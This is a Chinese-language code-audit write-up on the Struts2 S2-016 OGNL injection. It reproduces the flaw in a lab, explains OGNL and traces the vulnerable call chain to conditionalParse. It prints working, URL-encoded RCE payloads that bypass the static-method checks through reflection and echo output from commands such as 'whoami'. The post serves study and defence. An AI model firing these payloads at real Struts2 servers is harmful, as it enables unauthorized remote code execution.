代码审计 | Struts2 —— S2-016 OGNL 注入原理
本文是 Struts2 漏洞系列的第一篇,以 S2-016 为切入点,重点搞清楚 OGNL 注入的原理。Payload 极简,但背后的机制值得细细拆解。
目录
- 一、环境搭建与漏洞复现
- 二、URL 编码的那点细节
- 三、Payload 结构拆解
- 四、OGNL 语法入门
- 五、表达式注入类比
- 六、OGNL 示例代码
- 七、搭建 Struts2 靶场(本地复现)
- 八、代码审计
- 九、Payload 调试与完整利用
- 十、总结
一、环境搭建与漏洞复现
用 vulhub 起环境,很方便:
1 | git clone https://github.com/vulhub/vulhub.git |
起来之后访问 http://127.0.0.1:8080/:

用 Yakit 抓个包看看原始请求长什么样:

这是原始的包:

把 GET 请求的 URL 参数换成下面这个 Payload(已 URL 编码):
1 | /index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec(%22id%22)%2C%23b%3Dnew+java.io.InputStreamReader(%23a.getInputStream())%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3D%23c.readLine()%2C%23matt%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23matt.getWriter().println(%23d)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D |
可以看到命令执行结果被正常回写了:

二、URL 编码的那点细节
这里有个小问题——上面的 Payload 是自己手动 URL 编码过的,如果直接发送未编码版本:
1 | /index.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id"),#b=new java.io.InputStreamReader(#a.getInputStream()),#c=new java.io.BufferedReader(#b),#d=#c.readLine(),#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#matt.getWriter().println(#d),#matt.getWriter().flush(),#matt.getWriter().close()} |
不仅没有返回命令结果,还直接 400 了:

这里有个细节:浏览器的自动编码并不是对整个 URL 都编码,它只编码它认为”需要编码”的字符,有些字符浏览器认为是 URL 的合法字符就不会动。
比如 # 这个字符:
- 浏览器认为
#是锚点符号(fragment identifier),#后面的内容浏览器直接截断,不会发给服务端 - Payload 里大量用了
#_memberAccess、#context、#a这些,浏览器看到第一个#就认为后面是页面锚点,直接不发了,服务端收到的请求是残缺的
而手动编码的版本里 # 变成了 %23,浏览器不认识这是锚点,原样发给服务端,服务端 URL decode 之后才还原成 #,OGNL 正常执行。
小结:
#在 URL 里有特殊含义(锚点)- 浏览器不会自动把
#编码成%23 - 所以含
#的 Payload 必须手动提前编码好再放进 URL
三、Payload 结构拆解
把 Payload 格式化出来看更清楚:
1 | redirect:${ |
五步走,先撬锁再执行,后面代码审计的时候会挨个对应。
四、OGNL 语法入门
在搞清楚漏洞细节之前,先把 OGNL 是什么搞明白,不然后面看代码会很懵。
OGNL 是什么
OGNL = Object-Graph Navigation Language,对象图导航语言。Struts2 用它来做表达式求值,比如在页面上取值 ${user.name} 这种。
它本质上就是一个可以在运行时执行 Java 代码的表达式引擎。
OGNL 基本语法
1 | // 访问对象属性 |
# 开头的变量是访问 OGNL 上下文里的对象,Struts2 把很多关键对象都放在上下文里,比如 HttpServletRequest、HttpServletResponse,所以能直接拿来用。
注意:OGNL 里没有
import机制,不认识短类名,必须写类的全限定名,比如@java.lang.Runtime@getRuntime(),不能简写成@Runtime@getRuntime()。
为什么能执行系统命令
Java 里执行系统命令的标准写法:
1 | Runtime.getRuntime().exec("id"); |
翻译成 OGNL:
1 | @java.lang.Runtime@getRuntime().exec("id") |
完全一一对应,OGNL 就是把 Java 代码用表达式的方式写出来,能写什么取决于你能调用哪些 Java API。
为什么需要前两行绕过
1 | #context["xwork.MethodAccessor.denyMethodExecution"]=false |
Struts2 默认:
denyMethodExecution=true→ 禁止调用方法allowStaticMethodAccess=false→ 禁止调用静态方法
@java.lang.Runtime@getRuntime() 是静态方法调用,不关掉这两个限制直接报错,所以要先用反射把这两个字段改掉,相当于把安全锁撬开,再去执行后面的命令。
整个执行流程
1 | 用户输入 redirect:${...} |
问题就在第三步——用户输入的内容被当成代码执行了,这就是注入漏洞的本质。
五、表达式注入类比
SSTI 和 OGNL 注入的共同本质
1 | 用户输入 → 被当成"可执行的东西"处理 → 代码执行 |
区别只在于”可执行的东西”是什么:
| 漏洞类型 | 解析引擎 |
|---|---|
| SSTI(Jinja2/Twig/Freemarker) | 模板引擎解析用户输入 |
| OGNL 注入(Struts2) | OGNL 表达式引擎解析用户输入 |
| EL 注入(Spring) | EL 表达式引擎解析用户输入 |
都是同一类漏洞,叫表达式注入,SSTI 只是其中模板引擎那个分支的名字。
具体类比
Jinja2 SSTI:
1 | # 服务端 |
Struts2 OGNL:
1 | // 服务端 |
逻辑完全一样,只是语法不同。
为什么 OGNL 比 Jinja2 SSTI 更危险
Jinja2 要 RCE 需要找绕过沙箱的链,比较麻烦。OGNL 直接就是 Java 表达式,Runtime.exec() 就在那里,调用路径短得多,而且 Java 反射能力极强,沙箱再严也容易绕。
完全可以把 OGNL 注入理解成 Java 世界的 SSTI。
六、OGNL 示例代码
光看概念还是有点抽象,自己写代码跑一跑感受更直观。新建一个 Java Maven 空项目。
示例 1:基础用法
pom.xml 里加上 OGNL 依赖:
1 | <dependencies> |
1 | package com; |
运行效果:

三段代码都执行了。
关键点就在这里:
userInput是一个普通字符串- 但是被传进了
Ognl.getValue() - 字符串就变成了可执行的代码
这就是注入漏洞的本质——数据和代码的边界消失了。
示例 2:root 对象与 context 的区别
OGNL 里有两种访问方式,搞清楚 root 和 context 的区别很重要,Payload 里大量用到 # 前缀就是在访问 context。
1 | package com; |
运行结果:

这个示例把 OGNL 里 root 和 #context 的用法都演示了一遍,Payload 里的 #matt=#context.get("...") 就是从 context 这个 Map 里取出 HttpServletResponse,然后用它写回显,原理就是这样。
七、搭建 Struts2 靶场(本地复现)
后面要做代码审计,需要一个自己能调试的 Struts2 环境。
新建 Tomcat 项目
新建一个 Tomcat 项目(配置过程就不赘述了):

访问 http://localhost:8080/ 可以正常访问:

四个文件配置
pom.xml 里加上 Struts2 依赖,找到 <dependencies> 标签加进去:
1 | <dependency> |
加完 Maven 刷新一下,然后按顺序把下面四个文件建好。
第一个:HelloAction.java
在 src/main/java 下建包 com.demo,新建 HelloAction.java:
1 | package com.demo; |
整个流程:
1 | 请求 /index.action |
第二个:struts.xml
在 src/main/resources 下新建 struts.xml:
1 |
|
解释一下各属性:
1 | <package name="default" namespace="/" extends="struts-default"> |
和 S2-016 漏洞的关系:
extends="struts-default" 这行是关键,struts-default 里预置了 redirect 结果类型:
1 | <!-- struts-default.xml 里内置的,我们看不到但它存在 --> |
用户请求 ?redirect:${...} 的时候,Struts2 识别 redirect: 前缀,调用 ServletRedirectResult 处理,然后把后面的 ${...} 丢给 OGNL 执行,漏洞就在这里触发。
所以这个配置文件看起来没问题,但继承了 struts-default 就自动带进来了漏洞的触发路径。
第三个:web.xml
在 src/main/webapp/WEB-INF 下找到 web.xml,内容换成:
1 |
|
没有这个 Filter,Struts2 根本不工作,它是整个框架的入口,所有请求都从这里过。
第四个:index.jsp
src/main/webapp/index.jsp 内容换成:
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
验证漏洞触发
四个文件建好之后启动 Tomcat,访问 http://localhost:8080/index.action:

访问 http://localhost:8080/index.action?name=wrold,返回 Hello, wrold:

然后试试触发 OGNL 表达式,访问:
1 | http://localhost:8080/index.action?redirect:${1+1} |

发现返回的是 HTTP 400 – Bad Request,原因是 Tomcat 在解析请求行时发现里面有非法字符(冒号、花括号、加号),根据 RFC 7230 和 RFC 3986,这些字符在查询参数里必须经过百分号编码。
把 URL 里的特殊字符编码后再访问:
1 | http://localhost:8080/index.action?redirect%3A%24%7B1%2B1%7D |
返回的是 404”Not Found”(资源不存在):

但注意到 URL 路径变成了:
1 | http://localhost:8080/2 |
说明内部已经解析了参数 redirect:${1+1}:
- 框架识别了
redirect:前缀 - 框架对
${1+1}进行了表达式求值(OGNL) - 服务器发送了 302 重定向响应,客户端自动跳转到
/2 - 然后客户端去访问
http://localhost:8080/2,而这个资源不存在,所以最终返回 404
OGNL 已经执行了,只是结果被用作重定向目标,后面代码审计会看得很清楚。
Struts2 完整请求流程
1 | 请求 /index.action?name=张三 |
所以本质上就是 Struts2 把每个 URL 参数名当成 OGNL 表达式执行了一遍,这也是早期 S2-003/S2-005 漏洞的根源——参数名本身就能注入 OGNL。
八、代码审计
环境搭好了,开始看代码是怎么走的。
没有源代码的话可以去 Maven 中央仓库下载:
1 | https://repo1.maven.org/maven2/org/apache/struts/struts2-core/2.3.15/struts2-core-2.3.15-sources.jar |
入口:StrutsPrepareAndExecuteFilter
先根据 web.xml 里的 StrutsPrepareAndExecuteFilter 找到源文件,在 doFilter 打个断点:

这里面出现了大量 prepare 字段,简单解释一下,就是 Filter 里的两个阶段:
1 | doFilter() |
executeAction 与 ActionMapping
重点在 execute.executeAction 方法:

除了 Request 和 Response 参数,还有一个 mapping 参数,可以看到参数里面的内容:

mapping 是 ActionMapping 对象,存的是 Struts2 解析完 URL 之后得到的路由信息:
1 | 请求 /index.action?redirect:${1+1} |
struts-default.xml 与各版本注入点
这个文件在 struts2-core.jar 包里,框架自带的:

struts.xml 里写了 extends="struts-default",就把这些内置 result 类型全部继承过来了,所以 Struts2 解析到 redirect: 前缀的时候,直接查这个表找到对应的 ServletRedirectResult 类。
redirect: 只是其中一个注入点,Struts2 历史上被找到的注入点非常多:
| 版本 | 注入点 | Payload 特征 |
|---|---|---|
| S2-003/005 | 参数名本身 | ?(%27%23_memberAccess...)=xxx |
| S2-016 | redirect:/redirectAction: 前缀 |
?redirect:${...} |
| S2-032 | method: 前缀 |
?method:${...} |
| S2-045 | Content-Type 请求头 | multipart 解析时触发 |
| S2-046 | Content-Disposition 的 filename 字段 | multipart 解析时触发 |
| S2-052 | 请求 body(XML 反序列化) | REST 插件解析 XML 时触发 |
| S2-057 | namespace | URL 路径本身被当 OGNL 执行 |
规律就一条:凡是用户能控制的输入,被 Struts2 拿去做了 OGNL 求值,就是漏洞。
从 URL 参数名、参数值前缀、请求头、请求体、文件名、命名空间,基本上能想到的地方都被找过一遍了,这也是为什么 Struts2 漏洞那么多,根本原因是框架过度依赖 OGNL,到处都在求值。
顺着调用链往下走
进入 executeAction:

可以看到 dispatcher.serviceAction(request, response, servletContext, mapping) 里多了个 servletContext,非常眼熟——内存马那里见过:
1 | // Listener 内存马里静态注册用到过 |
进入 createContextMap,可以看到 URL 里面的 redirect:${1+1} 被传入了参数 params,其他变量都是空的:

这也意味着请求的数据里有很多都会经过这个处理,都有可能成为注入点。
接着进入 createContextMap 构造 extraContext:

在这个构造参数里,可以看到非常多的 put 方法,把各种对象塞进 Map,也就是把 request/response/session 塞进 OGNL context 的地方。这个 Map extraContext 最终就是 OGNL 的 context,所以 Payload 里才能用 #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse") 取出 response 对象。
进一步跟进,发现 map 里面的参数被取出,加上有表达式的 OGNL context extraContext 一起被封装到了一个代理里面:

1 | createActionProxy( |
接下来在这里检测 redirect:
1 | mapping.getResult() 拿到的就是之前在 ActionMapping 里看到的: |
Struts2 在解析 URL 的时候就已经识别了 redirect: 前缀,把 ServletRedirectResult 存进了 mapping,现在这里把它取出来直接执行:

result.execute() → super.execute(),这里调用父类的 execute,可以看到继承的是 StrutsResultSupport:

在 StrutsResultSupport.execute() 里看到一个 location 变量,值是 ${1+1},这个时候表达式已经被提取出来了:

具体的截取逻辑在 DefaultActionMapper 里面:

常量 REDIRECT_PREFIX,值是 "redirect:",就是处理 redirect: 前缀的:
1 | put(REDIRECT_PREFIX, new ParameterAction() { |
把未经过滤的用户输入存进 ServletRedirectResult.location,再存进 ActionMapping,后面取出来直接丢给 OGNL 执行。
核心触发:conditionalParse → OGNL 执行
父类的 execute 里面:
1 | lastFinalLocation = conditionalParse(location, invocation); |
这行是重点:

invocation 是 ActionInvocation 对象,和之前的 ActionProxy 有关,里面有各种参数和环境。
conditionalParse 方法就在下面:

parse 是 StrutsResultSupport 的一个成员变量,默认值是 true,这个条件默认就满足。parse 这个开关本来是给开发者用的,表示”是否解析表达式”,但默认是 true,而且用户输入没有经过任何过滤就到了这里,所以等于把 RCE 的大门直接敞开了。
进入 TextParseUtil.translateVariables(源码在 xwork-core 里):
1 | https://repo1.maven.org/maven2/org/apache/struts/xwork/xwork-core/2.3.15.1/xwork-core-2.3.15.1-sources.jar |

expression 就是表达式 ${1+1}。translateVariables 方法里的第一个参数是一个数组,包含 % 和 $:
1 | new char[]{'$', '%'} |
这说明 Struts2 同时支持两种表达式语法:
${}→ 标准 OGNL 表达式,S2-016 用这个%{}→ 同样是 OGNL 表达式,S2-045 的 Payload 用这个
两个符号都会被识别然后丢给 OGNL 执行,所以 S2-045 的 Payload 里用 %{...} 也能触发,根本原因就在这里。
然后经过几个构造方法来到最后一个:

这个就是核心的漏洞触发代码:

1 | Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount); |
openChars→{'$', '%'},告诉 parser 要识别这两种符号expression→"${1+1}",要扫描的完整字符串ognlEval→ 回调函数,parser 提取完内容之后调用它执行 OGNLmaxLoopCount→ 最大循环次数,防止死循环,比如${${1+1}}这种嵌套表达式
evaluate 方法就是匹配字符的逻辑:

这个机制让我想到了之前看过的 Log4j 的代码——类似 %{"$"}{1+1} 这种,第一次解析变成 ${1+1} 然后再次解析,两者思路是一样的。
第三个参数 ognlEval 是 ParsedValueEvaluator 对象,里面的 Object o = stack.findValue(parsedValue, asType) 是执行表达式的最终地方。
在 evaluate 里:

1 | String var = expression.substring(start + 2, end); // 提取表达式,跳过前面的 ${ |
调用了 ognlEval 这个回调,最后来到:

这里的代码就和前面的示例代码类似了:
1 | 参数: |
ognlUtil.getValue() 里面就是调用 OGNL 库的:
1 | Ognl.getValue(expr, context, root) |
处理完后把结果处理成字符串返回:

然后经过一系列返回,回到父类的 execute 方法:

接下来是 doExecute 的方法,其中第一个参数 lastFinalLocation 就是表达式的返回值 2:

方法的最后面就是:
1 | sendRedirect(response, finalLocation); |
也就是页面的重定向了,这也是为什么表达式注入的时候 URL 变成了 /2。
漏洞根因总结
完整调用链:
1 | 用户输入 redirect:${1+1} |
conditionalParse()→ 执行 OGNL,得到结果"2"doExecute()→ 拿结果去 redirect,和 OGNL 没关系了
漏洞触发在 conditionalParse(),doExecute() 只是善后,执不执行都无所谓,RCE 已经发生了。
1 | 用户输入 → substring 截取 → setLocation → conditionalParse → OGNL 执行 |
只要写法是 ?redirect:${OGNL 表达式} 就能触发,根据看到的代码,能触发的注入点远远不止 redirect: 这一种。
九、Payload 调试与完整利用
简单 RCE Payload(无回显)
因为没有任何过滤,随便写能用的 OGNL 代码即可,先试最简单的:
1 | /index.action?redirect:%24%7B%40java.lang.Runtime%40getRuntime().exec(%22calc%22)%7D |
也就是:
1 | redirect:${@java.lang.Runtime@getRuntime().exec("calc")} |
问题:静态方法被拦截
发包之后发现计算器没有正常弹出,而是重定向到了 /:

调试发现 expr 就是 @java.lang.Runtime@getRuntime().exec("calc.exe"),数据正常传入了:

但经过 OGNL 返回的 o 确实是 null:

这说明数据正常输入了,没有被过滤,但经过 OGNL 处理时却失败了。跟进 ognlEval 里看看怎么回事:
1 | findValue |
最后到了 SecurityMemberAccess.isAccessible():

1 | if (Modifier.isStatic(modifiers)) { |
这就是拦截静态方法的地方:
1 | 检测到是静态方法调用 |
所以完整 Payload 里那两步绕过是必须的。
Payload 2:绕过静态方法限制
Payload 绕过方式就是用反射把 allowStaticMethodAccess 改成 true:
1 | #f = #_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess") |
完整 Payload(格式化版):
1 | redirect:${ |
URL 编码版本:
1 | /index.action?redirect:%24%7B%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40java.lang.Runtime%40getRuntime().exec(%22calc.exe%22)%7D |
发包之后成功弹出了计算器:

Payload 3:命令回显版
弹计算器只是验证,实际利用需要命令回显,完整 Payload:
1 | redirect:${ |
URL 编码版本:
1 | /index.action?redirect:%24%7B%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22)%2C%23b%3Dnew+java.io.InputStreamReader(%23a.getInputStream())%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3D%23c.readLine()%2C%23matt%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23matt.getWriter().println(%23d)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D |
命令回显成功:

十、总结
S2-016 本身不复杂,但背后的东西值得花时间搞清楚。
漏洞核心: 用户输入的 redirect: 后面的内容,在 DefaultActionMapper 里被 substring 截取后没有任何过滤,直接通过 setLocation 存入 ServletRedirectResult,最终在 StrutsResultSupport.conditionalParse() 里被丢给 OGNL 引擎执行,实现 RCE。
OGNL 注入的本质: 就是表达式注入的一种,和 SSTI 同类,区别只在于解析引擎不同。OGNL 直接对应 Java 代码,Runtime.exec() 调用路径极短,加上 Java 反射机制强大,沙箱绕过相对容易,比模板引擎的 SSTI 更危险。
Struts2 为什么漏洞这么多: 框架过度依赖 OGNL,URL 参数名、参数值前缀、请求头、请求体、文件名、命名空间处处都在做 OGNL 求值,只要有一个地方没过滤用户输入,就是漏洞。